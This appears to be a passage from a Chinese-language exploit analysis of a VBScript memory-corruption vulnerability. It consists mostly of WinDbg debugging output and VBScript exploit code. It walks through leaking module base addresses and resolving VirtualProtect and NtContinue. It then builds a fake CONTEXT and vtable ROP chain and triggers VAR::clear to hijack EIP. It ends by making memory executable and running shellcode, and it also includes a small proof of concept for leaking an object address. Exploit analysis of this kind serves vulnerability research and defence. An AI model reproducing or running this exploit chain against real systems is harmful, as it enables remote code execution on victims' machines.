cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
680cc206 8bff mov edi,edi
0:005> dd poi(esp+c)
01bce320 00000003 00000000 77b50000 00000000 //77b50000为ntdll模块基地址

0:005> db 77b50000
77b50000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
77b50010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
77b50020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
77b50030 00 00 00 00 00 00 00 00-00 00 00 00 d0 00 00 00 ................
77b50040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
77b50050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
77b50060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS

后面通过Vbscript.dll基地址获得msvcrt.dll、kernleBase.dll、ntdll.dll模块基地址(通过导入表遍历)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0:005> g
Breakpoint 0 hit
eax=67c7185c ebx=026fd148 ecx=67cca9d8 edx=026fd0c0 esi=01ec864c edi=00000001
eip=67c8c206 esp=026fcfdc ebp=026fcfec iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67c8c206 8bff mov edi,edi
0:005> dd poi(esp+C)
01ecddc8 00000003 00000000 75f422bd 00000000

0:005> ln 75f422bd //此地址为VirtualProtect函数地址
Browse module
Set bu breakpoint

(75f422bd) KERNELBASE!VirtualProtect | (75f422de) KERNELBASE!VirtualProtectEx
Exact matches:
KERNELBASE!VirtualProtect (<no parameter info>)

0:005> u 75f422bd
KERNELBASE!VirtualProtect:
75f422bd 8bff mov edi,edi
75f422bf 55 push ebp
75f422c0 8bec mov ebp,esp
75f422c2 ff7514 push dword ptr [ebp+14h]
75f422c5 ff7510 push dword ptr [ebp+10h]
75f422c8 ff750c push dword ptr [ebp+0Ch]
75f422cb ff7508 push dword ptr [ebp+8]
75f422ce 6aff push 0FFFFFFFFh

获取KernelBase.dll的VirtualProtect函数地址(访问导出表获取)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0:005> g
Breakpoint 0 hit
eax=67f7185c ebx=025dcfb0 ecx=67fca9d8 edx=025dcf28 esi=01ec875c edi=00000001
eip=67f8c206 esp=025dce44 ebp=025dce54 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
67f8c206 8bff mov edi,edi
0:005> dd poi(esp+C)
01ecded8 00000003 00000000 77b95568 00000000
01ecdee8 025d0000 01ecdfd8 00000000 00000000
01ecdef8 025dd2a4 01ecdfd8 01ecfef0 00000000
01ecdf08 0000400c 00000000 01ecf680 00000000
01ecdf18 0000400c 00000000 01ecf640 00000000
01ecdf28 0000400c 00000000 01ecf5f8 00000000
01ecdf38 0000400c 00000000 01ecf5b0 00000000
01ecdf48 0000400c 00000000 01ecf570 00000000
0:005> ln 77b95568 //此地址为ZwContinue函数地址
Browse module
Set bu breakpoint

(77b95568) ntdll!ZwContinue | (77b95578) ntdll!NtCreateDebugObject
Exact matches:
ntdll!NtContinue (<no parameter info>)
ntdll!ZwContinue (<no parameter info>)
0:005> u 77b95568
ntdll!ZwContinue:
77b95568 b83c000000 mov eax,3Ch
77b9556d ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
77b95572 ff12 call dword ptr [edx]
77b95574 c20800 ret 8
77b95577 90 nop
ntdll!NtCreateDebugObject:
77b95578 b83d000000 mov eax,3Dh
77b9557d ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
77b95582 ff12 call dword ptr [edx]

获取Ntdll.dll的NtContinue函数(访问导出表获取)

精心构造一段ROP链,将其写入前面准备的可控数组空间。

借助特定代码时机攻击NtContinue函数劫持eip,获得shellcode执行。

img

总结类成员在内存分配方法如下图所示。根据所有成员按需且遵循前面提到的初始化顺序申请一块连续的内存空间,各成员VVAL1,VVAL2,VVAL3…均以一个0x10的VARIANT结构呈现,相邻成员变量之间偏移等于一个固定的内存空间0x32+前一个成员名称(UNICODE字符串)的长度。

img

如何获取到的CScriptEntryPoint对象的地址,可以参考Heavenml 师傅的文章,其中介绍到了函数指针向变量赋值时的特性,
下面的小poc:

1
2
3
4
5
6
7
8
9
<SCRIPT LANGUAGE="VBScript">
On Error Resume Next
sub testaa()
end sub
dim i,j
i=testaa
i=null
IsEmpty(i)
</script>

调试数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0:005> bp vbscript!VbsIsEmpty
0:005:x86> g
Breakpoint 2 hit
vbscript!VbsIsEmpty:
72a9c206 8bff mov edi,edi
0:005:x86> dd poi(esp+c)
VbNull CScriptEntryPoint对象
0069e720 00000001 00000080 0069e7b0 6e00006e
0069e730 0000400c 00000000 0069fc7c 00000000
0069e740 0000400c 00000000 0069faec 00000000
0:005:x86> ln poi(0069e7b0)
(72a84934) vbscript!CScriptEntryPoint::`vftable' | (72a9ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005:x86> dd 0069e7b0
0069e7b0 72a84934 00000001 0069fc08 02990a20
0069e7c0 02990d54 00000000 0069fc08 0069d0e0
0069e7d0 4add8835 0000e322 02990d90 0069fe88
0:005:x86> dd 0069fc08
0069fc08 00000006 00000000 00000000 00000000
0069fc18 0069cdf0 00000000 0069cfc8 00693350
0069fc28 02990a20 02990a20 67dc8819 0c00e321
0069fc38 00000008 00000000 0069fc08 00421946
0069fc48 61dc881f 0800e324 72a84934 00000002
0:005:x86> dd 0069cdf0
0069cdf0 72a84868 72a84ab4 72a84410 72a843f8
0069ce00 72a843e0 72a843cc 72a843bc 72a84388
0069ce10 72a84d0c 72a84378 72a84368 72a84350
0069ce20 72a8433c 72a84cfc 72a84ce4 72a84328
0069ce30 72a84318 00000000 00000000 00000006
0:005:x86> ln 72a84868
(72a84868) vbscript!COleScript::`vftable' | (72a9fdbc) vbscript!`string'
Exact matches:
vbscript!COleScript::`vftable' = <no type information>
0:005:x86> dd 0069cdf0+174
0069cf64 0000000e 00000000 00000000 00000000
0069cf74 00000000 00000000 003e52a8 00000000

在执行i=testaa的时候,VBS使用CScriptEntryPoint对象去检查这条语句是不合法的,随之产生一个错误,再CScriptEntryPoint被写入了CSession对象中,之后i = null 时,没有清除掉CScriptEntryPoint,导致CScriptEntryPoint被构造进了VARIANT结构。

通过如上的数据我们可以看出,i的类型虽然是vbNull,但是通过赋值函数地址,其实i的值域已经保存了CScriptEntryPoint的地址。于是就存在如下的关系

1
2
3
4
*(*(CScriptEntryPoint+8)+16) = COleScriptObject
COleScriptObject+0x174 = SafeModeMark

关于shellcode的执行时机

//方法一 修改SafeMode标志 上帝模式

//方法二

VARIANT的类型被修改为4d,在后续执行“ memClassA.mem(address + 8) = 0”时,Vbs将检测该VARIANT结构并根据其类型进行相应的处理。在类型修改为4d之后,对该地址下访问断点即可跟踪到后续的处理逻辑。

弹出trigger_var_clear窗口,下断点进入AssignVar函数,单步调试进入Clear

img

可以看到,将类型修改为4d,该类型标识的是一个指向vfTable的用于安全释放处理的结构。

img

访问我们构造的虚表中的ZwContinue函数。

1
2
//构建攻击所需虚表
bytes = bytes &make_ntcontinue_bytes()

这里调试可以看到,内存如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
	bytes = bytes &addr2str(addr)//shellcode地址续在bytes后面
IsEmpty(bytes)
bytes = bytes &addr2str(addr)//shellcode地址续在bytes后面 lpAddress=addr
IsEmpty(bytes)
bytes = bytes &addr2str(&h3000)//0x3000续在bytes后面 dwSize=0x3000
IsEmpty(bytes)
bytes = bytes &addr2str(64)//0x40地址续在bytes后面 PAGE_EXECUTE_READWRITE
IsEmpty(bytes)
bytes = bytes &addr2str(addr - 8)//shellcode-8地址续在bytes后面 old_protect地址
IsEmpty(bytes)
bytes = bytes &String(6, Unescape("%u4242"))//6*0x4242续在bytes后面 填充
IsEmpty(bytes)


bytes = bytes &make_ntcontinue_bytes()//攻击所需虚表
IsEmpty(bytes)

0:005> dd 031000b4 +10fdc //bytes首地址为03100b4
03111090 002c0b2c 002c0b2c 00003000 00000040
031110a0 002c0b24 42424242 42424242 42424242
031110b0 68000000 6877c755 6877c755 6877c755
031110c0 0077c755 41410000 41414141 41414141
031110d0 ef5a1a65 0004947b 002500c4 0312f0f8


//这里构造完成 进入makeFinal 传入bytes首地址+10fdc 即ropchain地址
Dim bytes
Dim addr1
addr1 = addr + 35
bytes = ""
bytes = bytes &addr2str(addr1)

bytes = bytes &String((184 - LenB(bytes)) / 2, Unescape("%4141"))//regs
bytes = bytes &addr2str(api_VirtualProtect)//context.eip
bytes = bytes &addr2str(27)//0000001b
bytes = bytes &addr2str(0)//00000000
bytes = bytes &addr2str(addr) //context.esp
bytes = bytes &addr2str(35)//00000023
bytes = bytes &String((1024 - LenB(bytes)) / 2, Unescape("%u4343"))
make_final_bytes = bytes //Context

//构造完成后内存
0:005> dd 0033cc34 L38
0033cc34 02501023 00410041 00410041 00410041
0033cc44 00410041 00410041 00410041 00410041
0033cc54 00410041 00410041 00410041 00410041
0033cc64 00410041 00410041 00410041 00410041
0033cc74 00410041 00410041 00410041 00410041
0033cc84 00410041 00410041 00410041 00410041
0033cc94 00410041 00410041 00410041 00410041
0033cca4 00410041 00410041 00410041 00410041
0033ccb4 00410041 00410041 00410041 00410041
0033ccc4 00410041 00410041 00410041 00410041
0033ccd4 00410041 00410041 00410041 00410041
0033cce4 00410041 00410041 75f022bd 0000001b
0033ccf4 00000000 02501000 00000023 43434343
0033cd04 43434343 43434343 43434343 43434343

//触发VAR::clear()
setprop_a_1.mem(rw_var) = &h4d //vt=4d 指向vfTable的用于安全释放处理的结构。
setprop_a_1.mem(rw_var+8) = 0 //触发vbscript!AssignVar ---> VAR::clear()

//vbscript!AssignVar参数为VARIANT结构地址
0:005> dd poi(ebp+c)
0034468c 0033004d 01c40001 0033cc34 01c40001

//调用VAR::clear,参数为VARIANT结构地址

1618560662253

1618560706618

这里判断vt类型,进入loc_6E50089c,最后调用 *(*(VARIANT结构中+8处成员)+8),即如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:005> dd esi
0034468c 0033004d 01c40001 0033cc34 01c40001
0:005> dd poi(poi(esi+8))+8
0250102b 77c75568 77c75568 41414100 41414141
0250103b 41414141 41414141 41414141 41414141
0250104b 41414141 41414141 41414141 41414141
0250105b 41414141 41414141 41414141 41414141
0250106b 41414141 41414141 41414141 41414141
0250107b 41414141 41414141 41414141 41414141
0250108b 41414141 41414141 41414141 41414141
0250109b 41414141 41414141 41414141 41414141
0:005> ln 77c75568
Browse module
Clear breakpoint 2

(77c75568) ntdll!ZwContinue | (77c75578) ntdll!NtCreateDebugObject
Exact matches:
ntdll!NtContinue (<no parameter info>)
ntdll!ZwContinue (<no parameter info>)

此函数第一参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
typedef struct _CONTEXT {

//
// The flags values within this flag control the contents of
// a CONTEXT record.
//
// If the context record is used as an input parameter, then
// for each portion of the context record controlled by a flag
// whose value is set, it is assumed that that portion of the
// context record contains valid context. If the context record
// is being used to modify a threads context, then only that
// portion of the threads context will be modified.
//
// If the context record is used as an IN OUT parameter to capture
// the context of a thread, then only those portions of the thread's
// context corresponding to set flags will be returned.
//
// The context record is never used as an OUT only parameter.
//

ULONG ContextFlags;

//
// This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
// set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT
// included in CONTEXT_FULL.
//

ULONG Dr0;
ULONG Dr1;
ULONG Dr2;
ULONG Dr3;
ULONG Dr6;
ULONG Dr7;

//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
//

FLOATING_SAVE_AREA FloatSave;

//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_SEGMENTS.
//

ULONG SegGs;
ULONG SegFs;
ULONG SegEs;
ULONG SegDs;

//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_INTEGER.
//

ULONG Edi;
ULONG Esi;
ULONG Ebx;
ULONG Edx;
ULONG Ecx;
ULONG Eax;

//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_CONTROL.
//

ULONG Ebp;
ULONG Eip;
ULONG SegCs; // MUST BE SANITIZED
ULONG EFlags; // MUST BE SANITIZED
ULONG Esp;
ULONG SegSs;

} CONTEXT;

//传入参数为eax:
0:005> dds eax l40
0033cc34 02501023 //ContextFlags;
0033cc38 00410041
0033cc3c 00410041
0033cc40 00410041
0033cc44 00410041
0033cc48 00410041
...
0033cce8 00410041
0033ccec 75f022bd KERNELBASE!VirtualProtect //Eip
0033ccf0 0000001b
0033ccf4 00000000
0033ccf8 02501000 //ESP
0033ccfc 00000023

ZwContinue函数的功能。在调用相应的异常处理回调函数时通过该函数恢复异常发生的环境信息进而进行处理。借助该函数通过传入伪造的CONTEXT参数,如上所示,直接实现了EIP的劫持。

当eip指向我们构造的VirtualProtect函数调用时,实现了非可执行内存,可读可写可执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
KERNELBASE!VirtualProtect:
75f022bd 8bff mov edi,edi
75f022bf 55 push ebp
75f022c0 8bec mov ebp,esp //esp 即我们可控的参数地址02501000
75f022c2 ff7514 push dword ptr [ebp+14h]
75f022c5 ff7510 push dword ptr [ebp+10h]
75f022c8 ff750c push dword ptr [ebp+0Ch]
75f022cb ff7508 push dword ptr [ebp+8]
75f022ce 6aff push 0FFFFFFFFh
75f022d0 e809000000 call KERNELBASE!VirtualProtectEx (75f022de)
75f022d5 5d pop ebp
75f022d6 c21000 ret 10h


0:005> dd esp
02500ffc 00410041 002c0b2c 002c0b2c 00003000
0250100c 00000040 002c0b24 42424242 42424242
0250101c 42424242 68000000 6877c755 6877c755
0250102c 6877c755 0077c755 41414141 41414141
0250103c 41414141 41414141 41414141 41414141
0250104c 41414141 41414141 41414141 41414141
0250105c 41414141 41414141 41414141 41414141
0250106c 41414141 41414141 41414141 41414141

//可控的参数 传入VirtualProtect函数 修改shellcode内存 为可读可写可执行

//VirtualProtect函数执行完后,pop完以后
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can be inaccurate.
eax=00000001 ebx=00410041 ecx=02500fbc edx=77c770b4 esi=00410041 edi=00410041
eip=75f022d6 esp=02501000 ebp=00410041 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
KERNELBASE!VirtualProtect+0x19:
75f022d6 c21000 ret 10h
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can be inaccurate.
eax=00000001 ebx=00410041 ecx=02500fbc edx=77c770b4 esi=00410041 edi=00410041
eip=002c0b2c esp=02501014 ebp=00410041 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
002c0b2c fc cld
//栈帧将eip变为shellcode地址
0:005> u 002c0b2c
002c0b2c fc cld
002c0b2d e889000000 call 002c0bbb
002c0b32 60 pushad
002c0b33 89e5 mov ebp,esp
002c0b35 31d2 xor edx,edx
002c0b37 648b5230 mov edx,dword ptr fs:[edx+30h]
002c0b3b 8b520c mov edx,dword ptr [edx+0Ch]
002c0b3e 8b5214 mov edx,dword ptr [edx+14h]

最终实现shellcode执行。

img